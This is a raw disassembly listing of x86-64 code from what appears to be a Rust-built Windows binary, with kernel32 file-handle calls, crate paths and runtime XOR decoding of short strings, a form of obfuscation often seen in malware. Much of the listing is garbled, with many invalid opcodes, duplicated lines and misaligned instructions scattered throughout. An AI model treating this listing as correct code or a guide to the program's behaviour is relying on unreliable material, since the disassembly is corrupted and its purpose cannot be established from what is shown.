mov dword [rsp + rdx + 0x2b0], r8d
add rdx, 4
jmp 0x1a7f1b611e7
movzx eax, word [rax + 0xc]
xor eax, 0x51d3
lea r14, [rsp + 0x2b0]
mov word [r14 + 0xc], ax
mov rax, qword [r14]
lea rdi, [rsp + 0xf0]
mov qword [rdi], rax
mov rax, qword [r14 + 6]
mov qword [rdi + 6], rax
mov ecx, 0xe
call fcn.1a7f1bf6427
mov rcx, qword [rdi]
mov r8, qword [rdi + 6]
mov qword [rax], rcx
mov qword [rax + 6], r8
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], 0xe
mov qword [r14], rsi
mov eax, 1
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rsi
mov r9, rdi
and qword [rdi + 8], 0
lea rdi, [rsp + 0x160]
mov ebp, 8
mov edx, 8
mov r8d, 0x60
mov rcx, rdi
call fcn.1a7f1bf42ae
xor r13d, r13d
cmp qword [rdi], 0
sete r13b
mov rax, qword [rdi + 8]
cmove rbp, rax
mov rdx, qword [rdi + 0x10]
movabs rcx, 0x8000000000000001
cmovne rcx, rax
shl r13, 2
call fcn.1a7f1b43d74
mov rax, qword [rsi + 0x10]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbp], xmm0
mov qword [r14 + 0x18], rsi
mov rcx, r14
call fcn.1a7f1b42afb
lea r12, [rsp + 0x1b0]
mov rcx, r12
call fcn.1a7f1b67617
mov eax, dword [r12 + 8]
mov dword [rdi + 0x20], eax
mov rax, qword [r12]
mov qword [rdi + 0x18], rax
call fcn.1a7f1bf424a
mov rsi, rax
movaps xmm6, xmmword [0x1a7f1c35180]
movups xmmword [rax], xmm6
mov qword [rdi], rax
mov ebx, 4
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
call fcn.1a7f1bf424a
mov r15, rax
movups xmmword [rax], xmm6
mov qword [r14], rax
mov qword [r14 + 8], rbx
mov qword [r14 + 0x10], rbx
mov rax, qword [r12]
mov qword [r14 + 0x18], rax
mov eax, dword [r12 + 8]
mov dword [r14 + 0x20], eax
lea rax, [rsp + 0xf0]
mov qword [rax], rbp
mov qword [rax + 8], r13
mov r14d, 1
mov qword [rax + 0x10], r14
lea rdi, [rsp + 0xa0]
lea rdx, [rsp + 0x2b0]
mov rcx, rdi
call fcn.1a7f1b4d302
lea rbx, [rsp + 0x108]
lea rdx, [rsp + 0x160]
mov rcx, rbx
call fcn.1a7f1b4d302
and qword [rbx + 0x30], 0
movdqu xmm0, xmmword [rdi]
movdqu xmmword [rbx + 0x18], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x28], rax
mov edx, 4
mov rcx, r15
call fcn.1a7f1b7e76c
mov edx, 4
mov rcx, rsi
call fcn.1a7f1b7e76c
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.1a7f1b8357b
mov qword [rdi], r14
pxor xmm0, xmm0
movdqu xmmword [rdi + 8], xmm0
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b4e08c
lea r8, str.srccoreutilsmod.rs
lea rdi, [rsp + 0x160]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b43428
mov rcx, rdi
call fcn.1a7f1b41bcd
mov rsi, rdx
lea r8, str.srccoreutilsmod.rs
mov rcx, rax
call fcn.1a7f1b43606
lea rdi, [rsp + 0x2b0]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1bc52c0
cmp dword [rdi], 2
jne 0x1a7f1b614b6
mov rax, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x88]
add byte [rax], al
add cl, ch
cwde
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
cwde
add byte [rax], al
add al, ch
sbb eax, dword [rbx]
add byte [rax], al
ud2
mov edi, eax
mov rax, qword [rsi]
call fcn.1a7f1b65780
add byte [rax], al
ud2
mov edi, eax
mov rax, qword [rsi]
mov rcx, rsi
int1
call qword [rax + 0x10]
xor esi, esi
lea rcx, [rsp + 0x160]
call fcn.1a7f1bf64c8
lea r8, [rsp + 0x2b0]
mov qword [r8], rsi
mov dword [r8 + 8], edi
lea rax, [0x1a7f1c37110]
mov qword [rsp + 0x20], rax
lea rcx, [0x1a7f1c8b4ad]
lea r9, [0x1a7f1c35e08]
mov edx, 0x2b
call fcn.1a7f1c2ff90
ud2
mov r13, qword [rsp + 0x2e8]
lea r8, [rsp + 0x80]
and qword [r8], 0
mov rcx, rsi
xor edx, edx
mov r9d, 1
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
or eax, 0xfc08500
test dword [rax], edi
add al, 0
invalid
or eax, 0xfc08500
test dword [rax], edi
add al, 0
add al, ch
invalid
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
add cl, byte [rax - 0x73]
mov word [rax + rdi*4], fs
add al, byte [rax]
invalid
xchg ebp, eax
test dword [rbx], 0xe0c14800
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff8d
add cl, byte [rax - 0x73]
add cl, byte [rax - 0x73]
mov word [rax + rdi*4], fs
add al, byte [rax]
add byte [rax - 0x77], cl
mov qword [rcx], rax
mov qword [rcx - 8], 1
add dword [rax - 0x39], ecx
clc
add dword [rax], eax
add byte [rax], al
call fcn.1a7f1bbe900
mov al, 1
mov dword [rsp + 0x60], eax
xor r12d, r12d
xor eax, eax
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0x68], rax
lea rbp, [rsp + 0x2b0]
xorps xmm6, xmm6
lea r15, [0x1a7f1c9df94]
lea r14, [0x1a7f1c9e048]
mov rbx, qword [rsp + 0x70]
cmp r12, rbx
je 0x1a7f1b6163c
mov rax, rbx
sub rax, r12
cmp rax, r13
mov rdi, r13
out dx, eax
out dx, eax
cmovb rdi, rax
cmp byte [rsp + 0x60], 0
cmovne rdi, rax
mov r8, qword [rsp + 0xa0]
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add r8, r12
invalid
add byte [rax], al
add r8, r12
mov rcx, rbp
mov ecx, ebp
mov rdx, rsi
mov r9, rdi
mov r9, rdi
call fcn.1a7f1bc5580
cmp qword [rsp + 0x2b0], 0
je case.default.0x1a7f1b6159b
test al, ah
add byte [rax], al
invalid
test al, ah
add byte [rax], al
add byte [rax - 0x75], cl
mov esp, 0x2b824
add byte [rax], al
mov eax, edi
and eax, 3
mov rdi, qword [rsp + 0x2b8]
add byte [rax], al
mov eax, edi
and eax, 3
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov al, byte [rdi + 0x10]
jmp 0x1a7f1b615b3
cmp al, 0xb
jne 0x1a7f1b615bc
mov edi, 0
je 0x1a7f1b61bf4
mov eax, edi
and eax, 3
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
cmp byte [rdi + 0x10], 0x23
je 0x1a7f1b61600
jmp case.0x1a7f1b615ce.2
cmp byte [rdi + 0xf], 0x23
je 0x1a7f1b61600
mov dr6, rsp
invalid
jmp case.0x1a7f1b615ce.2
mov rax, rdi
shr rax, 0x20
cmp eax, 0x28
ja case.0x1a7f1b615ce.2
cmp rax, 0x23
jne case.0x1a7f1b615ce.2
mov qword [rsp + 0x2b0], rdi
mov rcx, rbp
call fcn.1a7f1bbe900
add eax, 0xff28e900
invalid
invalid
add eax, 0xff28e900
invalid
shr eax, 0x20
cmp eax, 0x28
ja case.default.0x1a7f1b61633
invalid
add byte [rax - 0x73], cl
or eax, 0x13c978
lea rcx, [0x1a7f1c9dfa4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
jmp 0x1a7f1b615b3
mov r8d, 0x20
lea rcx, [rsp + 0xa0]
mov rdx, rbx
call fcn.1a7f1c322f0
mov rbx, qword [rsp + 0xa8]
mov r12, qword [rsp + 0xb0]
jmp 0x1a7f1b61546
mov rax, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
cmovbe rcx, rax
test rax, rax
je 0x1a7f1b61999
cmp rcx, rdi
ja 0x1a7f1b61e0b
add byte [rax], al
sub rcx, rax
mov qword [rsp + 0x68], rcx
add r12, rax
mov qword [rsp + 0xb0], r12
cmp rbx, qword [rsp + 0x70]
jne 0x1a7f1b6153d
cmp r12, rbx
jne 0x1a7f1b6153d
movaps xmmword [rsp + 0x2c0], xmm6
movaps xmmword [rsp + 0x2b0], xmm6
lea rbx, [rsp + 0x80]
mov rcx, rbx
mov rdx, rsi
mov r8, rbp
call case.0x1a7f1bc70e4.140
cmp qword [rsp + 0x80], 0
lea rdi, [rsp + 0x88]
lea r12, [0x1a7f1c9e058]
je case.default.0x1a7f1b61708
mov rax, qword [rsp + 0x88]
add byte [rax], al
add byte [rcx + 0x3e183c1], cl
mov ecx, eax
and ecx, 3
movsxd rcx, dword [r12 + rcx*4]
invalid
add rcx, r12
jmp rcx
invalid
loope 0x1a7f1b6168b
cmp byte [rax + 0x10], 0x23
je case.0x1a7f1b61633.64
js 0x1a7f1b6171d
and esi, dword [rdx + rbp - 0x17]
invalid
jmp 0x1a7f1b61978
mov dr6, rsp
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x3f], 0xe9
jmp 0x1a81aaf9a4a
invalid
invalid
add byte [rax], al
mov rcx, rax
shr rcx, 0x20
jmp 0x1a81aaf9a4a
ja 0x1a7f1b61978
add al, byte [rax]
invalid
jmp 0x1a81aaf9a4a
add al, byte [rax]
add byte [rax - 0x7d], cl
stc
cmp rcx, 0x23
jne 0x1a7f1b61978
and ecx, dword [rdi]
test dword [rsi], edi
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
call fcn.1a7f1bbe900
mov rcx, rbx
mov rdx, rsi
add byte [rax - 0x77], cl
invalid
mov r8, rbp
call case.0x1a7f1bc70e4.140
add byte [rax - 0x7d], cl
mov esp, 0x8024
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
mov esp, 0x8024
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x67], dh
jne case.0x1a7f1b61633.54
mov rdi, qword [rsp + 0x88]
test rdi, rdi
test edi, edi
mov esp, 0x8824
add byte [rax - 0x7b], cl
test edi, edi
je 0x1a7f1b61999
invalid
test edi, edi
je 0x1a7f1b61999
sub eax, 0x48000002
add byte [rax - 0x7d], cl
jmp qword [rcx]
cmp rdi, 0x21
cmp edi, 0x21
jae 0x1a7f1b61df7
add dword [rsi], 0x8d480000
mov word [rax + riz*4], fs
and al, 0xa0
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x70]
push rsp
and al, 0x70
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
push rsp
and al, 0x70
mov r8, rdi
call fcn.1a7f1c322f0
or ecx, dword gs:[0x1a78e415f8e]
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0xa0]
or ecx, dword gs:[0x1a78e415f8e]
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsp + 0xa0]
add rcx, r12
mov ecx, dword [rsp + 0xa0]
add rcx, r12
mov rdx, rbp
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.1a7f1c22170
add r12, rdi
mov qword [rsp + 0xb0], r12
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
jmp 0x1a7f1b6153d
invalid
mov al, 0x29
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 1
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 2
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 3
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 4
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 5
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 6
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 7
jmp 0x1a7f1b615b3
invalid
mov al, 8
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 9
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0xa
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0xb
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0xc
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0xd
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0xe
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0xf
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x10
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x11
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x12
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x13
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x14
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x15
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x16
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x17
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x18
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x19
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x1a
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x1b
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x1c
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x1d
jmp 0x1a7f1b615b3
invalid
invalid
invalid
mov al, 0x1e
jmp 0x1a7f1b615b3
mov al, 0x1f
jmp 0x1a7f1b615b3
mov al, 0x20
jmp 0x1a7f1b615b3
mov al, 0x21
jmp 0x1a7f1b615b3
mov al, 0x22
jmp 0x1a7f1b615b3
mov al, 0x23
jmp 0x1a7f1b615b3
mov al, 0x24
jmp 0x1a7f1b615b3
mov al, 0x25
jmp 0x1a7f1b615b3
mov al, 0x26
jmp 0x1a7f1b615b3
mov al, 0x27
jmp 0x1a7f1b615b3
mov al, 0x28
jmp 0x1a7f1b615b3
mov qword [rsp + 0x1b8], rdi
jmp 0x1a7f1b61980
lea rcx, [0x1a7f1c9cda5]
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fwidestring_1.0.2_srcucstr.rsassertion_failed:__p.is_null__
mov edx, 0x1e
jmp 0x1a7f1b60981
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fwidestring_1.0.2_srcucstr.rsassertion_failed:__p.is_null__
mov rcx, r8
xor edx, edx
mov r8, rax
call fcn.1a7f1c2fbe0
ud2
xor ecx, ecx
sub r13, qword [rsp + 0x80]
mov eax, 0
mov qword [rsp + 0x70], rax
cmovb r13, rcx
mov r12d, 0
test r13, r13
je 0x1a7f1b61960
lea rdi, [rsp + 0xa0]
mov rcx, rdi
xor edx, edx
mov r8, r13
call fcn.1a7f1c322f0
mov rax, qword [rdi + 8]
mov qword [rsp + 0x70], rax
mov r12, qword [rdi + 0x10]
add r13, 0x400
jae 0x1a7f1b61a65
cmp eax, 0
add byte [rax], al
cmp eax, 0
add byte [rax], al
mov al, 1
mov dword [rsp + 0x60], eax
jmp 0x1a7f1b61518
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1b0], 1
lea rcx, [rsp + 0x1b8]
call fcn.1a7f1b42571
movdqu xmm0, xmmword [rsp + 0xa0]
lea rdi, [rsp + 0x2b0]
movdqa xmmword [rdi], xmm0
mov rax, qword [rsp + 0xb0]
mov qword [rdi + 0x10], rax
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea r8, [0x1a7f1c36f48]
lea rcx, [rsp + 0x248]
mov rdx, rdi
call fcn.1a7f1b43458
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b4e08c
lea r8, str.srccoreutilsmod.rs
lea rdi, [rsp + 0x160]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b43428
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
call fcn.1a7f1bc98c0
test rax, rax
jne 0x1a7f1b61a2d
lea rcx, [0x1a7f1c8b482]
lea r8, str.srccoreutilsmod.rs
mov edx, 0x2b
jmp 0x1a7f1b60981
cmp rdx, 2
jne 0x1a7f1b61a3a
cmp word [rax], 0x2e2e
je 0x1a7f1b61a15
mov r9, rdx
test r9, r9
je 0x1a7f1b61a15
mov rcx, r9
dec r9
cmp byte [rax + rcx - 1], 0x2e
jne 0x1a7f1b61a3d
mov r8, rdx
sub r8, rcx
jae 0x1a7f1b61a81
lea r8, [0x1a7f1c60ce8]
call fcn.1a7f1c2fae0
ud2
mov rax, r13
and rax, 0x1fff
jne 0x1a7f1b61bdd
mov dword [rsp + 0x60], 0
jmp 0x1a7f1b61518
test r9, r9
je 0x1a7f1b61a15
add rax, rcx
mov rcx, rax
mov rdx, r8
call fcn.1a7f1b41f22
lea r8, str.srccoreutilsmod.rs
mov rcx, rax
call fcn.1a7f1be751d
mov r15, rax
mov r14, rdx
mov rcx, rdx
call fcn.1a7f1bf6427
mov rdi, rax
mov qword [rsp + 0x60], rdx
mov rcx, rax
mov rdx, r15
mov r8, r14
call fcn.1a7f1c22170
mov rcx, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x168]
call fcn.1a7f1b8357b
lea rax, [0x1a7f1c3330c]
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x2b0]
movabs rax, 0x66d2149d8378fb83
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
call fcn.1a7f1b46799
movzx ebp, byte [rax + 2]
movzx ebx, word [rax]
xor ebx, 0x621b
xor bpl, 2
mov r13d, 3
mov ecx, 3
call fcn.1a7f1bf6427
mov r15, rax
mov r12, rdx
mov byte [rax + 2], bpl
mov word [rax], bx
mov r9d, 3
mov rcx, rdi
mov rdx, r14
mov r8, rax
call fcn.1a7f1b424b0
mov ebp, eax
mov rcx, r15
mov rdx, r12
call fcn.1a7f1b8357b
test bpl, bpl
je 0x1a7f1b61c06
lea rax, [0x1a7f1c3325f]
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x2b0]
movabs rax, 0x63873fa18a09dd84
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
call fcn.1a7f1b469e2
movzx ebx, byte [rax + 2]
movzx ebp, word [rax]
xor ebp, 0x7296
xor bl, 0x76
mov ecx, 3
call fcn.1a7f1bf6427
mov rsi, rax
mov r14, rdx
mov byte [rax + 2], bl
mov word [rax], bp
mov rcx, rdi
mov rdx, qword [rsp + 0x60]
call fcn.1a7f1b8357b
mov rdi, rsi
mov qword [rsp + 0x60], r14
jmp 0x1a7f1b61c09
mov ecx, 0x2000
sub rcx, rax
add r13, rcx
setb al
mov dword [rsp + 0x60], eax
jmp 0x1a7f1b61518
lea rcx, [rsp + 0x2b8]
call fcn.1a7f1bbe900
jmp 0x1a7f1b61999
mov r13, r14
lea rsi, [rsp + 0x2b0]
lea rdx, [rsp + 0x280]
mov r8d, 7
mov rcx, rsi
call case.0x1a7f1b91e8c.354
lea r14, [rsp + 0x80]
mov rcx, r14
mov rdx, rsi
call fcn.1a7f1b435ae
mov byte [r14 + 0x18], 1
lea rdx, [rsp + 0xd0]
mov r8d, 9
mov rcx, r14
call fcn.1a7f1b41f88
mov qword [rsi], rdi
mov rax, qword [rsp + 0x60]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r13
lea rdx, [rsp + 0x2b0]
mov rcx, r14
call fcn.1a7f1b41f5e
mov r8, qword [rsp + 0x248]
mov r9, qword [rsp + 0x258]
mov rsi, qword [r14]
mov rdi, qword [r14 + 0x10]
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b4e0d0
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
call fcn.1a7f1b4e08c
lea r8, [0x1a7f1c36f78]
lea r14, [rsp + 0xa0]
mov rcx, r14
mov rdx, rbx
call fcn.1a7f1b43428
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b41f22
lea r8, [0x1a7f1c36f90]
mov rcx, rax
call fcn.1a7f1be751d
mov rsi, rax
mov rdi, rdx
mov rcx, qword [r14]
mov rdx, qword [r14 + 0x10]
call fcn.1a7f1b41f22
lea r8, [0x1a7f1c36fa8]
mov rcx, rax
call fcn.1a7f1be751d
mov rbx, rax
mov r14, rdx
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x118]
lea r15, [rsp + 0x210]
mov rcx, r15
call fcn.1a7f1b59d63
mov r9, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x20], rax
lea r15, [rsp + 0x160]
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.1a7f1b4c511
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, r15
call fcn.1a7f1b4c595
lea r8, [0x1a7f1c36fc0]
lea r14, [rsp + 0x1d0]
mov rcx, r14
mov rdx, rbx
call fcn.1a7f1b43458
lea r15, [rsp + 0x1b0]
mov rcx, r15
mov rdx, r14
call fcn.1a7f1b41b0b
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x80], xmm0
and qword [rbx], 0
mov qword [rbx + 0x78], 1
mov bpl, 2
mov byte [rbx + 0x92], bpl
mov word [rbx + 0x90], 0x204
and qword [rbx + 0x18], 0
and qword [rbx + 0x30], 0
and qword [rbx + 0x48], 0
and qword [rbx + 0x60], 0
lea rbx, [rsp + 0x2b0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1b4dd7b
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
mov rcx, rbx
call fcn.1a7f1b4ddd1
mov byte [rbx + 0x90], bpl
mov rcx, rbx
jmp 0x1a7f1b60d5c
lea r8, [0x1a7f1c619f8]
mov edx, 0x20
mov rcx, rdi
jmp 0x1a7f1b61914
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_srcio_borrowed_buf.rs
mov rdx, rdi
jmp 0x1a7f1b61914
add byte [rdi], cl
test byte [rcx + 0x4c000000], cl
mov esi, dword [rsi + 8]
mov rbx, qword [rsi + 0x10]
test r14, r14
je 0x1a7f1b679e5
xor r15d, r15d
xor edi, edi
lea r12, [r14 + r15]
mov rcx, rbx
call fcn.1a7f1b67bdc
cmp r12, rdx
jae 0x1a7f1b67a1f
mov rcx, rax
test rax, rax
je 0x1a7f1b67a1f
add byte [rax], al
add byte [rax], al
mov rdx, r15
mov eax, 5
inc rdx
je 0x1a7f1b67a5d
add rcx, r14
mov cl, byte [r15 + rcx]
cmp rdx, 5
jb 0x1a7f1b67976
cmp cl, 0xf
ja 0x1a7f1b67a58
movzx r8d, cl
shl edi, 7
and r8d, 0x7f
or rdi, r8
mov r15, rdx
test cl, cl
js 0x1a7f1b6792e
add r14, rdx
jb 0x1a7f1b67a5d
mov qword [rsi], 1
mov qword [rsi + 8], r14
jbe 0x1a7f1b679a7
jbe 0x1a7f1b679a7
jmp 0x1a7f1b679db
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], cl
test byte [rdx - 0x76000000], cl
or al, ch
push rax
add al, byte [rax]
add byte [rax + rcx], bh
jne 0x1a7f1b67a5d
shr eax, 8
mov qword [rsi], 1
and qword [rsi + 8], 0
movzx eax, al
sal byte [rcx + 0xff1f628], 0xb6
clc
sal byte [rcx + 0xff1f628], 0xb6
clc
mov dh, pe_nt_image_headers64
shl rdi, 0x20
or rdi, 1
jmp 0x1a7f1b67a26
mov rcx, rbx
call fcn.1a7f1b67bdc
test rdx, rdx
test edx, edx
test edx, edx
je 0x1a7f1b67a46
mov cl, byte [rax]
call fcn.1a7f1b67c0a
add byte [rax], al
add byte [rax], al
cmp al, 8
jne 0x1a7f1b67a5d
shr eax, 8
mov ecx, 1
mov qword [rsi], rcx
mov qword [rsi + 8], rcx
mov dword [rsi + 8], ecx
mov dword [rsi + 8], ecx
movzx eax, al
mov dl, 0x28
div dl
movzx edi, ah
cld
cld
shl rdi, 0x20
or rdi, rcx
jmp 0x1a7f1b67a26
test r15, r15
jne 0x1a7f1b67a8b
xor edi, edi
mov rdx, rdi
shr rdx, 0x20
mov eax, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
xor ecx, ecx
xor edx, edx
call fcn.1a7f1c2fb60
ud2
mov eax, 1
lea r8, [rsp + 0x30]
and al, 0x30
mov qword [r8], rax
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
mov qword [rsp + 0x20], rax
lea rcx, str.OID_malformed
lea r9, [0x1a7f1c39df0]
or eax, 0xd2371
or eax, 0xd2371
mov edx, 0xd
call fcn.1a7f1c2ff90
ud2
mov eax, 2
jmp 0x1a7f1b67a5d
movzx rax, byte [rcx]
lea r8, [0x1a7f1c9e068]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
add rcx, 4
lea rax, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rax], rcx
lea rcx, [0x1a7f1c39f78]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
sub byte [rax - 0x39], cl
and al, 0x20
add eax, dword [rax]
add byte [rax], al
sub byte [rax - 0x39], cl
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rax, str.ArcInvalidarc
lea r9, [0x1a7f1c39f72]
mov r8d, 0xa
jmp 0x1a7f1b67b5a
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ArcTooBigBase128DigitExpected
mov r8d, 9
jmp 0x1a7f1b67bd5
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c39fa1]
mov r8d, 7
jmp 0x1a7f1b67bd5
inc rcx
lea rax, [rsp + 0x40]
mov qword [rax], rcx
lea rcx, [0x1a7f1c39fb8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 6
lea rax, [0x1a7f1c39fa8]
lea r9, str.actualTagUnknownbyte
mov r8d, 0xd
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d100
nop
add rsp, 0x48
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.EmptyInvalidDigitPosOverflowNegOverflowZeroParseIntError
mov r8d, 5
jmp 0x1a7f1b67bd5
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Length
mov r8d, 6
jmp 0x1a7f1b67bd5
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NotEnoughArcsTrailingDotassertion_failed:_edelta___0librarycore_src_numdiy_float.rs
mov r8d, 0xd
jmp 0x1a7f1b67bd5
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c39fe5]
mov r8d, 0xb
add rsp, 0x48
jmp rax
sal dword [rdi - 0x4e], 1
cmp rdx, 0x63
jbe 0x1a7f1b67d6e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
jae 0x1a7f1b67d8b
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x1a7f1b67d99
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.1a7f1b67dd0
nop
add rsp, 0x58
pop rdi
pop rsi
ret
cmove ebp, edx
add rcx, r15
test al, 4
je 0x1a7f1b67e3a
mov r8, r14
test r14, r14
je 0x1a7f1b67eb6
invalid
cmp r14, 1
jne 0x1a7f1b67e3e
xor r8d, r8d
xor edx, edx
jmp 0x1a7f1b67ea0
xor ebx, ebx
jmp 0x1a7f1b67eb9
mov rdx, r14
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r8d, r8d
movdqa xmm1, xmmword [0x1a7f1c35370]
movdqa xmm2, xmmword [0x1a7f1c35380]
nop dword [rax]
movzx r9d, word [rbx + r8]
movd xmm3, r9d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r8, 2
cmp rdx, r8
jne 0x1a7f1b67e60
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
paddq mm1, mm0
paddq mm1, mm0
